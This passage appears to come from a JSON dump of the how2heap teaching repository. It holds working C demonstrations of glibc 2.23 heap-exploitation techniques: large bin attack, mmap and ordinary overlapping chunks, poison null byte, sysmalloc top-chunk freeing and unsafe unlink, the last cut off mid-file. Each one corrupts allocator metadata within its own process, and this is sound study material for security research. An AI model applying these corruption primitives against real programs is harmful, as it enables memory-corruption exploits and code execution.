free()\\n\\n\");\n    malloc(0x20);\n \n    free(p1);\n    free(p2);\n    fprintf(stderr, \"We free the first and second large chunks now and they will be inserted in the unsorted bin:\"\n           \" [ %p <--> %p ]\\n\\n\", (void *)(p2 - 2), (void *)(p2[0]));\n\n    malloc(0x90);\n    fprintf(stderr, \"Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the\"\n            \" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation\"\n            \", and reinsert the remaining of the freed first large chunk into the unsorted bin:\"\n            \" [ %p ]\\n\\n\", (void *)((char *)p1 + 0x90));\n\n    free(p3);\n    fprintf(stderr, \"Now, we free the third large chunk and it will be inserted in the unsorted bin:\"\n           \" [ %p <--> %p ]\\n\\n\", (void *)(p3 - 2), (void *)(p3[0]));\n \n    //------------VULNERABILITY-----------\n\n    fprintf(stderr, \"Now emulating a vulnerability that can overwrite the freed second large chunk's \\\"size\\\"\"\n            \" as well as its \\\"bk\\\" and \\\"bk_nextsize\\\" pointers\\n\");\n    fprintf(stderr, \"Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk\"\n            \" at the head of the large bin freelist. To overwrite the stack variables, we set \\\"bk\\\" to 16 bytes before stack_var1 and\"\n            \" \\\"bk_nextsize\\\" to 32 bytes before stack_var2\\n\\n\");\n\n    p2[-1] = 0x3f1;\n    p2[0] = 0;\n    p2[2] = 0;\n    p2[1] = (unsigned long)(&stack_var1 - 2);\n    p2[3] = (unsigned long)(&stack_var2 - 4);\n\n    //------------------------------------\n\n    malloc(0x90);\n \n    fprintf(stderr, \"Let's malloc again, so the freed third large chunk being inserted into the large bin freelist.\"\n            \" During this time, targets should have already been rewritten:\\n\");\n\n    fprintf(stderr, \"stack_var1 (%p): %p\\n\", &stack_var1, (void *)stack_var1);\n    fprintf(stderr, \"stack_var2 (%p): %p\\n\", &stack_var2, (void *)stack_var2);\n\n    // sanity check\n    assert(stack_var1 != 0);\n    assert(stack_var2 != 0);\n\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.23/mmap_overlapping_chunks.c",
    "content": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions of GLibC\nCompile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`\n\nPOC written by POC written by Maxwell Dulin (Strikeout) \n*/\nint main()\n{\n\t/*\n\tA primer on Mmap chunks in GLibC\n\t==================================\n\tIn GLibC, there is a point where an allocation is so large that malloc\n\tdecides that we need a seperate section of memory for it, instead \n\tof allocating it on the normal heap. This is determined by the mmap_threshold var.\n\tInstead of the normal logic for getting a chunk, the system call *Mmap* is \n\tused. This allocates a section of virtual memory and gives it back to the user. \n\n\tSimilarly, the freeing process is going to be different. Instead \n\tof a free chunk being given back to a bin or to the rest of the heap,\n\tanother syscall is used: *Munmap*. This takes in a pointer of a previously \n\tallocated Mmap chunk and releases it back to the kernel. \n\n\tMmap chunks have special bit set on the size metadata: the second bit. If this \n\tbit is set, then the chunk was allocated as an Mmap chunk. \n\n\tMmap chunks have a prev_size and a size. The *size* represents the current \n\tsize of the chunk. The *prev_size* of a chunk represents the left over space\n\tfrom the size of the Mmap chunk (not the chunks directly belows size). \n\tHowever, the fd and bk pointers are not used, as Mmap chunks do not go back \n\tinto bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of \n\tthe chunk must be page-aligned.\n\n\tThe POC below is essentially an overlapping chunk attack but on mmap chunks. \n\tThis is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c. \n\tThe main difference is that mmapped chunks have special properties and are \n\thandled in different ways, creating different attack scenarios than normal \n\toverlapping chunk attacks. There are other things that can be done, \n\tsuch as munmapping system libraries, the heap itself and other things.\n\tThis is meant to be a simple proof of concept to demonstrate the general \n\tway to perform an attack on an mmap chunk.\n\n\tFor more information on mmap chunks in GLibC, read this post: \n\thttp://tukan.farm/2016/07/27/munmap-madness/\n\t*/\n\n\tint* ptr1 = malloc(0x10); \n\n\tprintf(\"This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\\n\");\n\tprintf(\"Extremely large chunks are special because they are allocated in their own mmaped section\\n\");\n\tprintf(\"of memory, instead of being put onto the normal heap.\\n\");\n\tputs(\"=======================================================\\n\");\n\tprintf(\"Allocating three extremely large heap chunks of size 0x100000 \\n\\n\");\n\t\t\n\tlong long* top_ptr = malloc(0x100000);\n\tprintf(\"The first mmap chunk goes directly above LibC: %p\\n\",top_ptr);\n\n\t// After this, all chunks are allocated downwards in memory towards the heap.\n\tlong long* mmap_chunk_2 = malloc(0x100000);\n\tprintf(\"The second mmap chunk goes below LibC: %p\\n\", mmap_chunk_2);\n\n\tlong long* mmap_chunk_3 = malloc(0x100000);\n\tprintf(\"The third mmap chunk goes below the second mmap chunk: %p\\n\", mmap_chunk_3);\n\n\tprintf(\"\\nCurrent System Memory Layout \\n\" \\\n\"================================================\\n\" \\\n\"running program\\n\" \\\n\"heap\\n\" \\\n\"....\\n\" \\\n\"third mmap chunk\\n\" \\\n\"second mmap chunk\\n\" \\\n\"LibC\\n\" \\\n\"....\\n\" \\\n\"ld\\n\" \\\n\"first mmap chunk\\n\"\n\"===============================================\\n\\n\" \\\n);\n\t\n\tprintf(\"Prev Size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-2]);\n\tprintf(\"Size of third mmap chunk: 0x%llx\\n\\n\", mmap_chunk_3[-1]);\n\n\tprintf(\"Change the size of the third mmap chunk to overlap with the second mmap chunk\\n\");\t\n\tprintf(\"This will cause both chunks to be Munmapped and given back to the system\\n\");\n\tprintf(\"This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\\n\");\n\n\t// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.\n\t// Additionally, this same attack can be used with the prev_size instead of the size.\n\tmmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;\n\tprintf(\"New size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-1]);\n\tprintf(\"Free the third mmap chunk, which munmaps the second and third chunks\\n\\n\");\n\n\t/*\n\tThis next call to free is actually just going to call munmap on the pointer we are passing it.\n\tThe source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845\n\n\tWith normal frees the data is still writable and readable (which creates a use after free on \n\tthe chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this\n\tdata is read or written to, the program crashes.\n\t\n\tBecause of this added restriction, the main goal is to get the memory back from the system\n\tto have two pointers assigned to the same location.\n\t*/\n\t// Munmaps both the second and third pointers\n\tfree(mmap_chunk_3); \n\n\t/* \n\tWould crash, if on the following:\n\tmmap_chunk_2[0] = 0xdeadbeef;\n\tThis is because the memory would not be allocated to the current program.\n\t*/\n\n\t/*\n\tAllocate a very large chunk with malloc. This needs to be larger than \n\tthe previously freed chunk because the mmapthreshold has increased to 0x202000.\n\tIf the allocation is not larger than the size of the largest freed mmap \n\tchunk then the allocation will happen in the normal section of heap memory.\n\t*/\t\n\tprintf(\"Get a very large chunk from malloc to get mmapped chunk\\n\");\n\tprintf(\"This should overlap over the previously munmapped/freed chunks\\n\");\n\tlong long* overlapping_chunk = malloc(0x300000);\n\tprintf(\"Overlapped chunk Ptr: %p\\n\", overlapping_chunk);\n\tprintf(\"Overlapped chunk Ptr Size: 0x%llx\\n\", overlapping_chunk[-1]);\n\n\t// Gets the distance between the two pointers.\n\tint distance = mmap_chunk_2 - overlapping_chunk;\n\tprintf(\"Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\\n\", distance);\n\tprintf(\"Value of index 0 of mmap chunk 2 prior to write: %llx\\n\", mmap_chunk_2[0]);\n\t\n\t// Set the value of the overlapped chunk.\n\tprintf(\"Setting the value of the overlapped chunk\\n\");\n\toverlapping_chunk[distance] = 0x1122334455667788;\n\n\t// Show that the pointer has been written to.\n\tprintf(\"Second chunk value (after write): 0x%llx\\n\", mmap_chunk_2[0]);\n\tprintf(\"Overlapped chunk value: 0x%llx\\n\\n\", overlapping_chunk[distance]);\n\tprintf(\"Boom! The new chunk has been overlapped with a previous mmaped chunk\\n\");\n\tassert(mmap_chunk_2[0] == overlapping_chunk[distance]);\n\n\t_exit(0); // exit early just in case we corrupted some libraries\n}\n"
  },
  {
    "path": "glibc_2.23/overlapping_chunks.c",
    "content": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n\nint main(int argc , char* argv[]){\n\n\n\tintptr_t *p1,*p2,*p3,*p4;\n\n\tfprintf(stderr, \"\\nThis is a simple chunks overlapping problem\\n\\n\");\n\tfprintf(stderr, \"Let's start to allocate 3 chunks on the heap\\n\");\n\n\tp1 = malloc(0x100 - 8);\n\tp2 = malloc(0x100 - 8);\n\tp3 = malloc(0x80 - 8);\n\n\tfprintf(stderr, \"The 3 chunks have been allocated here:\\np1=%p\\np2=%p\\np3=%p\\n\", p1, p2, p3);\n\n\tmemset(p1, '1', 0x100 - 8);\n\tmemset(p2, '2', 0x100 - 8);\n\tmemset(p3, '3', 0x80 - 8);\n\n\tfprintf(stderr, \"\\nNow let's free the chunk p2\\n\");\n\tfree(p2);\n\tfprintf(stderr, \"The chunk p2 is now in the unsorted bin ready to serve possible\\nnew malloc() of its size\\n\");\n\n\tfprintf(stderr, \"Now let's simulate an overflow that can overwrite the size of the\\nchunk freed p2.\\n\");\n\tfprintf(stderr, \"For a toy program, the value of the last 3 bits is unimportant;\"\n\t\t\" however, it is best to maintain the stability of the heap.\\n\");\n\tfprintf(stderr, \"To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),\"\n\t\t\" to assure that p1 is not mistaken for a free chunk.\\n\");\n\n\tint evil_chunk_size = 0x181;\n\tint evil_region_size = 0x180 - 8;\n\tfprintf(stderr, \"We are going to set the size of chunk p2 to to %d, which gives us\\na region size of %d\\n\",\n\t\t evil_chunk_size, evil_region_size);\n\n\t*(p2-1) = evil_chunk_size; // we are overwriting the \"size\" field of chunk p2\n\n\tfprintf(stderr, \"\\nNow let's allocate another chunk with a size equal to the data\\n\"\n\t       \"size of the chunk p2 injected size\\n\");\n\tfprintf(stderr, \"This malloc will be served from the previously freed chunk that\\n\"\n\t       \"is parked in the unsorted bin which size has been modified by us\\n\");\n\tp4 = malloc(evil_region_size);\n\n\tfprintf(stderr, \"\\np4 has been allocated at %p and ends at %p\\n\", (char *)p4, (char *)p4+evil_region_size);\n\tfprintf(stderr, \"p3 starts at %p and ends at %p\\n\", (char *)p3, (char *)p3+0x80-8);\n\tfprintf(stderr, \"p4 should overlap with p3, in this case p4 includes all p3.\\n\");\n\n\tfprintf(stderr, \"\\nNow everything copied inside chunk p4 can overwrites data on\\nchunk p3,\"\n\t\t\" and data written to chunk p3 can overwrite data\\nstored in the p4 chunk.\\n\\n\");\n\n\tfprintf(stderr, \"Let's run through an example. Right now, we have:\\n\");\n\tfprintf(stderr, \"p4 = %s\\n\", (char *)p4);\n\tfprintf(stderr, \"p3 = %s\\n\", (char *)p3);\n\n\tfprintf(stderr, \"\\nIf we memset(p4, '4', %d), we have:\\n\", evil_region_size);\n\tmemset(p4, '4', evil_region_size);\n\tfprintf(stderr, \"p4 = %s\\n\", (char *)p4);\n\tfprintf(stderr, \"p3 = %s\\n\", (char *)p3);\n\n\tfprintf(stderr, \"\\nAnd if we then memset(p3, '3', 80), we have:\\n\");\n\tmemset(p3, '3', 80);\n\tfprintf(stderr, \"p4 = %s\\n\", (char *)p4);\n\tfprintf(stderr, \"p3 = %s\\n\", (char *)p3);\n}\n\n\n"
  },
  {
    "path": "glibc_2.23/overlapping_chunks_2.c",
    "content": "/*\n Yet another simple tale of overlapping chunk.\n\n This technique is taken from\n https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.\n \n This is also referenced as Nonadjacent Free Chunk Consolidation Attack.\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <malloc.h>\n\nint main(){\n  \n  intptr_t *p1,*p2,*p3,*p4,*p5,*p6;\n  unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;\n  int prev_in_use = 0x1;\n\n  fprintf(stderr, \"\\nThis is a simple chunks overlapping problem\");\n  fprintf(stderr, \"\\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\\n\");\n  fprintf(stderr, \"\\nLet's start to allocate 5 chunks on the heap:\");\n\n  p1 = malloc(1000);\n  p2 = malloc(1000);\n  p3 = malloc(1000);\n  p4 = malloc(1000);\n  p5 = malloc(1000);\n\n  real_size_p1 = malloc_usable_size(p1);\n  real_size_p2 = malloc_usable_size(p2);\n  real_size_p3 = malloc_usable_size(p3);\n  real_size_p4 = malloc_usable_size(p4);\n  real_size_p5 = malloc_usable_size(p5);\n\n  fprintf(stderr, \"\\n\\nchunk p1 from %p to %p\", p1, (unsigned char *)p1+malloc_usable_size(p1));\n  fprintf(stderr, \"\\nchunk p2 from %p to %p\", p2,  (unsigned char *)p2+malloc_usable_size(p2));\n  fprintf(stderr, \"\\nchunk p3 from %p to %p\", p3,  (unsigned char *)p3+malloc_usable_size(p3));\n  fprintf(stderr, \"\\nchunk p4 from %p to %p\", p4, (unsigned char *)p4+malloc_usable_size(p4));\n  fprintf(stderr, \"\\nchunk p5 from %p to %p\\n\", p5,  (unsigned char *)p5+malloc_usable_size(p5));\n\n  memset(p1,'A',real_size_p1);\n  memset(p2,'B',real_size_p2);\n  memset(p3,'C',real_size_p3);\n  memset(p4,'D',real_size_p4);\n  memset(p5,'E',real_size_p5);\n  \n  fprintf(stderr, \"\\nLet's free the chunk p4.\\nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4\\n\"); \n  \n  free(p4);\n\n  fprintf(stderr, \"\\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\\nwith the size of chunk_p2 + size of chunk_p3\\n\");\n\n  *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE \n\n  fprintf(stderr, \"\\nNow during the free() operation on p2, the allocator is fooled to think that \\nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \\n\");\n  fprintf(stderr, \"\\nThis operation will basically create a big free chunk that wrongly includes p3\\n\");\n  free(p2);\n  \n  fprintf(stderr, \"\\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\\n\");\n\n  p6 = malloc(2000);\n  real_size_p6 = malloc_usable_size(p6);\n\n  fprintf(stderr, \"\\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \\nwe can overwrite data in p3 by writing on chunk p6\\n\");\n  fprintf(stderr, \"\\nchunk p6 from %p to %p\", p6,  (unsigned char *)p6+real_size_p6);\n  fprintf(stderr, \"\\nchunk p3 from %p to %p\\n\", p3, (unsigned char *) p3+real_size_p3); \n\n  fprintf(stderr, \"\\nData inside chunk p3: \\n\\n\");\n  fprintf(stderr, \"%s\\n\",(char *)p3); \n\n  fprintf(stderr, \"\\nLet's write something inside p6\\n\");\n  memset(p6,'F',1500);  \n  \n  fprintf(stderr, \"\\nData inside chunk p3: \\n\\n\");\n  fprintf(stderr, \"%s\\n\",(char *)p3); \n\n\n}\n"
  },
  {
    "path": "glibc_2.23/poison_null_byte.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"Welcome to poison null byte 2.0!\\n\");\n\tprintf(\"Tested in Ubuntu 16.04 64bit.\\n\");\n\tprintf(\"This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\\n\");\n\tprintf(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n\");\n\n\tuint8_t* a;\n\tuint8_t* b;\n\tuint8_t* c;\n\tuint8_t* b1;\n\tuint8_t* b2;\n\tuint8_t* d;\n\tvoid *barrier;\n\n\tprintf(\"We allocate 0x100 bytes for 'a'.\\n\");\n\ta = (uint8_t*) malloc(0x100);\n\tprintf(\"a: %p\\n\", a);\n\tint real_a_size = malloc_usable_size(a);\n\tprintf(\"Since we want to overflow 'a', we need to know the 'real' size of 'a' \"\n\t\t\"(it may be more than 0x100 because of rounding): %#x\\n\", real_a_size);\n\n\t/* chunk size attribute cannot have a least significant byte with a value of 0x00.\n\t * the least significant byte of this will be 0x10, because the size of the chunk includes\n\t * the amount requested plus some amount required for the metadata. */\n\tb = (uint8_t*) malloc(0x200);\n\n\tprintf(\"b: %p\\n\", b);\n\n\tc = (uint8_t*) malloc(0x100);\n\tprintf(\"c: %p\\n\", c);\n\n\tbarrier =  malloc(0x100);\n\tprintf(\"We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\\n\"\n\t\t\"The barrier is not strictly necessary, but makes things less confusing\\n\", barrier);\n\n\tuint64_t* b_size_ptr = (uint64_t*)(b - 8);\n\n\t// added fix for size==prev_size(next_chunk) check in newer versions of glibc\n\t// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30\n\t// this added check requires we are allowed to have null pointers in b (not just a c string)\n\t//*(size_t*)(b+0x1f0) = 0x200;\n\tprintf(\"In newer versions of glibc we will need to have our updated size inside b itself to pass \"\n\t\t\"the check 'chunksize(P) != prev_size (next_chunk(P))'\\n\");\n\t// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)\n\t// which is the value of b.size after its first byte has been overwritten with a NULL byte\n\t*(size_t*)(b+0x1f0) = 0x200;\n\n\t// this technique works by overwriting the size metadata of a free chunk\n\tfree(b);\n\t\n\tprintf(\"b.size: %#lx\\n\", *b_size_ptr);\n\tprintf(\"b.size is: (0x200 + 0x10) | prev_in_use\\n\");\n\tprintf(\"We overflow 'a' with a single null byte into the metadata of 'b'\\n\");\n\ta[real_a_size] = 0; // <--- THIS IS THE \"EXPLOITED BUG\"\n\tprintf(\"b.size: %#lx\\n\", *b_size_ptr);\n\n\tuint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;\n\tprintf(\"c.prev_size is %#lx\\n\",*c_prev_size_ptr);\n\n\t// This malloc will result in a call to unlink on the chunk where b was.\n\t// The added check (commit id: 17f487b), if not properly handled as we did before,\n\t// will detect the heap corruption now.\n\t// The check is this: chunksize(P) != prev_size (next_chunk(P)) where\n\t// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)\n\t// next_chunk(P) == b-0x10+0x200 == b+0x1f0\n\t// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200\n\tprintf(\"We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\\n\",\n\t\t*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));\n\tb1 = malloc(0x100);\n\n\tprintf(\"b1: %p\\n\",b1);\n\tprintf(\"Now we malloc 'b1'. It will be placed where 'b' was. \"\n\t\t\"At this point c.prev_size should have been updated, but it was not: %#lx\\n\",*c_prev_size_ptr);\n\tprintf(\"Interestingly, the updated value of c.prev_size has been written 0x10 bytes \"\n\t\t\"before c.prev_size: %lx\\n\",*(((uint64_t*)c)-4));\n\tprintf(\"We malloc 'b2', our 'victim' chunk.\\n\");\n\t// Typically b2 (the victim) will be a structure with valuable pointers that we want to control\n\n\tb2 = malloc(0x80);\n\tprintf(\"b2: %p\\n\",b2);\n\n\tmemset(b2,'B',0x80);\n\tprintf(\"Current b2 content:\\n%s\\n\",b2);\n\n\tprintf(\"Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\\n\");\n\n\tfree(b1);\n\tfree(c);\n\t\n\tprintf(\"Finally, we allocate 'd', overlapping 'b2'.\\n\");\n\td = malloc(0x300);\n\tprintf(\"d: %p\\n\",d);\n\t\n\tprintf(\"Now 'd' and 'b2' overlap.\\n\");\n\tmemset(d,'D',0x300);\n\n\tprintf(\"New b2 content:\\n%s\\n\",b2);\n\n\tprintf(\"Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks\"\n\t\t\"for the clear explanation of this technique.\\n\");\n\n\tassert(strstr(b2, \"DDDDDDDDDDDD\"));\n}\n"
  },
  {
    "path": "glibc_2.23/sysmalloc_int_free.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n#define MALLOC_ALIGN (SIZE_SZ*2)\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// target top chunk size that should be freed\n#define CHUNK_FREED_SIZE 0x150\n#define FREED_SIZE (CHUNK_FREED_SIZE-CHUNK_HDR_SZ)\n\n/**\n * Tested on:\n *  + GLIBC 2.23 (x86_64, x86 & aarch64)\n *\n * sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins,\n * which can be used to corrupt heap without needing to call free() directly.\n * This is achieved through sysmalloc calling _int_free to the top_chunk (wilderness),\n * if the top_chunk can't be merged during heap growth\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * This technique is used in House of Orange & Tangerine\n */\nint main() {\n  size_t allocated_size, *top_size_ptr, top_size, new_top_size, freed_top_size, *new, *old;\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_FREED_SIZE & MALLOC_MASK) == CHUNK_FREED_SIZE);\n\n  puts(\"Constants:\");\n  printf(\"chunk header \\t\\t= 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align \\t\\t= 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align \\t\\t= 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size \\t\\t= 0x%lx\\n\", FENCEPOST);\n  printf(\"freed size \\t\\t= 0x%lx\\n\", FREED_SIZE);\n\n  printf(\"target top chunk size \\t= 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_FREED_SIZE);\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  new = malloc(PROBE);\n  top_size = new[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size \\t\\t= 0x%lx\\n\", top_size);\n\n  // calculate allocated_size\n  allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE;\n  allocated_size &= PAGE_MASK;\n  allocated_size &= MALLOC_MASK;\n\n  printf(\"allocated size \\t\\t= 0x%lx\\n\\n\", allocated_size);\n\n  puts(\"1. create initial malloc that will be used to corrupt the top_chunk (wilderness)\");\n  new = malloc(allocated_size);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- initial malloc\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|      SIZE (0x%05lx)   |\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         top_size - 1,\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n  puts(\"2. corrupt the size of top chunk to be less, but still page aligned\");\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |   <- positive OOB (i.e. BOF)\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         TOP           |   <- corrupt size of top chunk (wilderness)\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|         ...           |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         new_top_size - 1,\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n\n  puts(\"3. create an allocation larger than the remaining top chunk, to trigger heap growth\");\n  puts(\"The now corrupt top_chunk triggers sysmalloc to call _init_free on it\");\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_FREED_SIZE);\n\n  old = new;\n  new = malloc(CHUNK_FREED_SIZE + 0x10);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          OLD          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         FREED         |   <- old top got freed because it couldn't be merged\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|       FENCEPOST       |   <- just some architecture depending padding\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          NEW          |   <- new malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\\n\",\n         old - 2,\n         top_size_ptr - 1,\n         freed_top_size,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE/SIZE_SZ),\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         new - (MALLOC_ALIGN / SIZE_SZ));\n\n  puts(\"...\\n\");\n\n  puts(\"?. reallocated into the freed chunk\");\n\n  old = new;\n  new = malloc(FREED_SIZE);\n\n  assert((size_t) old > (size_t) new);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- allocated into the freed chunk\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          OLD          |   <- old malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\",\n         new - 2,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE / SIZE_SZ),\n         old - (MALLOC_ALIGN / SIZE_SZ));\n}\n"
  },
  {
    "path": "glibc_2.23/unsafe_unlink.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr;\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\tprintf(\"Welcome to unsafe unlink 2.0!\\n\");\n\tprintf(\"Tested in Ubuntu 14.04/16.04 64bit.\\n\");\n\tprintf(\"This technique can be used when you have a pointer at a known location to a region you can call unlink on.\\n\");\n\tprintf(\"The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\\n\");\n\n\tint malloc_size = 0x80; //we want to be big enough not to use fastbins\n\tint header_size = 2;\n\n\tprintf(\"The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\\n\\n\");\n\n\tchunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0\n\tuint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1\n\tprintf(\"The global chunk0_ptr is at %p, pointing to %p\\n\", &chunk0_ptr, chunk0_ptr);\n\tprintf(\"The victim chunk we are going to corrupt is at %p\\n\\n\", chunk1_ptr);\n\n\tprintf(\"We create a fake chunk inside chunk0.\\n\");\n\tprintf(\"We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\\n\");\n\tchunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);\n\tprintf(\"We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\\n\");\n\tprintf(\"With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\\n\");\n\tchunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);\n\tprintf(\"Fake chunk fd: %p\\n\",(void*) chunk0_ptr[2]);\n\tprintf(\"Fake chunk bk: %p\\n\\n\",(void*) chunk0_ptr[3]);\n\n\tprintf(\"We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\\n\");\n\tuint64_t *chunk1_hdr = chunk1_ptr - header_size;\n\tprintf(\"We shrink the size of chunk0 (saved as 